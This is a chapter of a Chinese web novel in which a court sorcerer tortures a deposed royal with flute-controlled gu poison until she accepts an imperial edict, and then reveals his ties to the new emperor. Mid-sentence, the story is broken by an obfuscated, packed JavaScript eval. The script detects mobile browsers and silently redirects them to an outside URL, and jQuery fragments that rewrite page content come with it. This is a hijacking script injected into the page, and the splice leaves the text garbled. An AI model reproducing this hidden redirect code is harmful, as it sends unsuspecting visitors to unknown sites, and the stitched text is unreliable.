63. 毒蛊蚀心

作品:《招惹少年将军后她死遁了

    拿着圣旨的太监脸上的笑快挂不住:“殿下?您接旨呀?”


    宁济也想笑,却全无力气。


    “接旨?谁的旨?大越是何时换了人来当皇帝?为何全无昭告?本王被父皇亲赐的景王封号,如今竟变成公主……这算什么?”


    太监脸上的表情顿时十分古怪。


    “殿下有一事或许不知,”他连声介哎哟乱唤了一串,颇阴阳怪气:“当日殿下身份明于天下之时,先帝已夺了殿下的封号。”


    宁济嗤笑一声,转身就走。


    “殿下这是要抗旨不成?”太监面色连变。


    “不敢。”


    宁济冷笑:“我既已是被夺封号之废人,又何苦委曲求全封为公主?满朝文武,竟无一人觉得此事荒唐至极?”


    “这圣眷,我不需要。还请公公回告陛下收回成命。”


    “这……”那太监急得冷汗直流,拼命劝阻道:“殿下!陛下可是说过了,此事……”


    宁济自是不理,头也不回步入殿内。


    正在这时,身后传来一道温声劝解:“还请殿下三思。”


    回头看时,但见男子一袭青衫,乌发束冠,以木簪挽之,身侧挂柄玉箫,立于阶前。


    那太监看清来人,亦松了口气:“陆大人!您来的太及时了……”


    待看清那人模样,宁济的表情顿在脸上:“是你……?”


    眉目端方,气度温和。是数年前同她在灯会中有一面之缘的怪人。


    “先前一逢,机缘不巧,未通姓名,还请殿下海涵。”


    青衫男子躬身行礼:“在下陆子安。”


    宁济皱起眉头。


    “殿下,请听在下一言。”


    陆子安拱了拱手,语气谦和恭敬:“陛下此举,并非有意折辱殿下,实为保全殿下清誉。有了陛下亲赐的封号,众人便知陛下看重殿下,方不敢唐突。更何况,殿下已失亲王之位,受了公主封号,也好处处得些方便。”


    “此举于殿下,百利而无一害,殿下何不……”


    “是么?”宁济打断他:“既然你这么喜欢,便由你领了这赏赐,如何?”


    陆子安面露为难:“殿下……”


    “带上你的圣旨,回去告诉宁礼。”宁济冷笑:“我不需要这种施舍!”


    陆子安叹了口气,终于抬眼看她,眼神里竟有些怜悯:“殿下这是执意抗旨了?”


    有些古怪。


    宁济眉心蹙起:“你待如何?”


    “殿下执意如此,陆某不得不冒犯。还望殿下海涵。”


    陆子安甚至是面带歉意地取下洞箫,搁在唇边,吹出一段悠悠乐声。


    宁济:“你……”


    话未说完,顿觉胸腔内一阵迟滞,而后是激烈的跳动。


    砰、砰、砰砰——


    浑身上下的血肉猛然炸开似的痛起来,像是平静的湖面被一只巨手拧起来一般,泛起了皱巴巴的狰狞的痛!血管里像有千万只虫蛇蚁鼠在爬、在噬咬、在啃食着她!


    好痛……好痛!好痛!!!


    她恨不得大叫,几乎是颤抖着匍匐跪倒在地,牙齿铮铮地紧绷,说不出来一句话,只能眼睁睁地看着自己的皮肉张牙舞爪地跳动起来,仿佛里头真有什么东西想冲出来一般——


    “殿下以为如何?”


    前头隐约传来一道温声问话。


    热汗滚落在地,宁济死死地撑着身子,牙根紧咬,嘴唇已被咬得鲜血淋漓。


    “就这点……水平……也好意思……”


    唉。


    陆子安轻轻叹息,道:“殿下好耐力,看来陆某只能再加一成了。”


    洞箫一竖,十指轻动,乐声幽深之际,她体内作祟之物却愈发变本加厉,像是听到了什么召唤一般,格外兴奋。


    宁济痛得眼前一白,重重摔倒在地上,牙齿被咬得咯咯作响,几欲以头抢地,只恨不能剜开头颅来求得半点解脱——


    “够了!圣旨拿来!”


    一旁窜出一道身影,劈手将圣旨夺了来:“旨意已接,停了你那鬼神之术!”


    宁济目色昏聩,看清来人,眼瞳微微睁大:“紫……玉?”


    紫玉满目痛色,凄声道:“殿下何苦如此为难自己?竟不知旧时勾践之事么?”


    宁济被她扶了起来,满脸冷汗,血色淋漓。她勉强站直身子,低声道:“……只是不甘心。”


    紫玉眼眶通红,瞪着陆子安:“这阴狠之人竟为如此下作之事!不接旨又如何,竟然如此嚣张!竟敢伤及殿下,实在是……实在是……”


    她咬牙切齿,恨得说不出话来。


    “不必多说……”宁济摇了摇头,待平了气息,才看向宣旨太监:“公公,我已接旨了。”


    呆在一旁的太监愣了半晌,方一拍脑袋清醒过来,飞速念完车轱辘似的套话,唱诺几声,匆忙溜之大吉。


    陆子安放下箫身,微微颔首:“如此甚好。”


    他温声道:“陆某实非有意伤殿下,此举实属无奈……还望殿下莫要寻机逃出宫内,否则就算是变换面容,但凡是在京中,恐怕都少不了再受这一遭罪。”


    宁济眼瞳微微紧缩。


    “这算什么?威胁?”


    她轻轻抚了一记自己的手臂,平整,作痛之物全然不见。明明方才只觉得浑身血肉都有虫蚁在爬,几欲冲破身体。这术法,比起鬼神之说,更像是……


    陆子安笑道:“岂敢。”


    她看着陆子安,沉默半晌,终于道:“你认识我。”


    “殿下贵为皇嗣,子安怎会不识?”


    “不。我是说。”宁济眼睛一眨不眨,“你见过我的脸。”


    陆子安讶然:“数年前灯会一遇,在下本就见过殿下女子扮相,若如此,确算是已见过。”


    “还在装傻……”宁济扯起嘴角,哂笑一声:“我却问你。那日为何赠我那珠串?”


    陆子安只道:“偶遇天上人,兴之所至。”


    宁济冷笑一声:“也罢,你既不答,我来猜上一猜可好?”


    “莫非……你见过展漓?”


    这话一出,陆子安原先八风不动的表情终于微微变色。


    先前那回偶遇便觉他行迹古怪,如今再想起,顿觉豁然开朗。只有一个原因可以解释此人先前为何见到自己那般神情古怪——他以为遇见相熟之人。


    此天下同她长相相似的,她只知展漓。


    情知露底,陆子安垂眼淡笑一声,拱手道:“殿下当真如传言中才思敏捷。”


    宁济穷追不舍:“你同展家有何干系?你去过天山?”


    陆子安却不答了,任凭她再三发问,却只默然不语。


    见他如此刀枪不入,宁济抿了抿嘴,问:“你既如此通晓展家蛊术,又怎么会为宁礼做事?”


    陆子安微微笑道:“各取所需而已。我助陛下,陛下亦助我,这不是很好吗?”


    宁济蓦地抬眼看他。


    这话的意思是……


    “四年前,是你救了宁礼?”


    陆子安眼瞳微抬,轻轻扫过她,才轻声道:“殿下果真才思敏捷,聪慧过人。”


    宁济皮笑肉不笑:“说点新鲜的。”


    陆子安叹了口气:“好吧。”


    陆子安道:“彼时一别,后方知意外伤着殿下,实在心下难安。而今见到殿下无恙,陆某便放心了。”


    “伤着?”宁济皱起眉毛:“你何曾伤过……”


    她眼神滞住。


    ——江岸边那支箭!


    陆子安一脸歉疚:“那时陆某以为殿下被赵遂辛所困,于是才出此下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442524|194509||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    策。可不料……”


    宁济动了动唇,半晌才道:“你可知宁昱是如何死的?”


    “先太子?”陆子安摇头,“陆某并不知。”


    宁济干笑几声,终于无话可说。


    原来如此……


    原来如此!


    原来那支冷箭,竟非出自太子之手!


    可怜她还以为是老天眷顾,命途各归其位——原来早已千差万别!可笑宁昱白白背了一条人命,因此丧命九泉,终落得同她幻梦中自己那般鸩酒毒发下场!


    宁济闭了闭目,漠然道:“既然无事,你走吧。”


    “殿下方才不是还想知道些新鲜事吗?”陆子安有些诧异,微微抬眼。


    “方才是方才,现在却不想了。”


    陆子安道:“好吧。可陆某是奉陛下之命来为殿下解忧的。若是殿下心情郁结,陛下恐怕会寻我麻烦。”


    解忧?


    用蛊毒威胁也算解忧?


    宁济冷笑一声,不欲再多废话,只径自入殿,紫玉亦跟在她身后。


    陆子安遥遥道:“殿下不想见我也罢了,陆某再去请殿下相熟之人来便是。”


    宁济顿住步伐:“什么意思?”


    “你们要做什么?你要迫谁入宫?”


    她瞪着陆子安,心下飞速盘算。


    依当下之势,宁礼或许正是这几日登的基。即便乍然起死回生,来路不明,可有方家支持,再借着这个陆子安诡异的蛊术,不愁威胁不住朝臣。


    许久未闻赵遂辛消息,按说他原本也算万人之上,几同摄政。也不知他现下境况如何,恐怕也难免受制于人。


    陆子安看她一眼,而后移开眼神,温和道:“殿下莫急,此人同殿下交好,想必届时殿下见了,一定高兴得紧。”


    宁济面无表情,心下一片恼火。


    ……


    夜深时分,屏退了一众人,只余紫玉在近旁。


    宁济看了她一眼:“你也下去吧,不必守夜,早些休息。”


    紫玉忐忑道:“殿下……可是不高兴了?”


    宁济道:“没有。”


    她执起剪刀,将灯烛芯剪碎一截。烛火在墙上盈盈晃动。


    “我只是在想……连累得你与我一同被监禁在这宫墙内,实在不妥。”


    “现下我里里外外被看管的铜墙铁桶一般,你也看到了,门外这些侍卫……”宁济哂笑一声,“每日十二时辰轮流值守。我哪里也去不了,你也一样。”


    “留你在我身边,确是委屈了……明日我便托人告知宁礼,放你出去。”


    紫玉咬了咬牙:“殿下这是要赶我走?为何?是紫玉哪里做的不好吗?”


    知晓自己入宫是要来侍候殿下之时,她又怕又喜,却从未想过殿下就要赶她离开!


    “没有,与你无关。”


    “那是为什么?”


    宁济看着她委屈的神情,默然片刻,而后撇开眼,继续剪那灯花。


    “……你是冲着景王来的。”


    “可是你也看得出来,我不是从前的景王——从来就没有什么景王,只有一个扮作男子的欺君罪人。”她干巴巴地说,“跟我这废人一同被关在这里,有什么意思?你还年轻,趁早出去,或许还能好过一些。”


    “殿下,说这些到底是什么意思。”紫玉眼眶通红,语气颤抖,“请给奴婢一个明白话儿吧。”


    灯花太晃眼,看久了竟有些微微发酸。宁济微微闭上眼,缓了一会儿才睁开。她语气干涩:“……我如今前路未卜,保不了你。”


    待说罢,又抄起剪刀,专心致志对付着烛火,像是格外好奇这灯芯的构造一般,翻来覆去瞧个没完。


    “殿下是不是觉得,所有人都应该离开,才是对的。”


    紫玉声音低低的。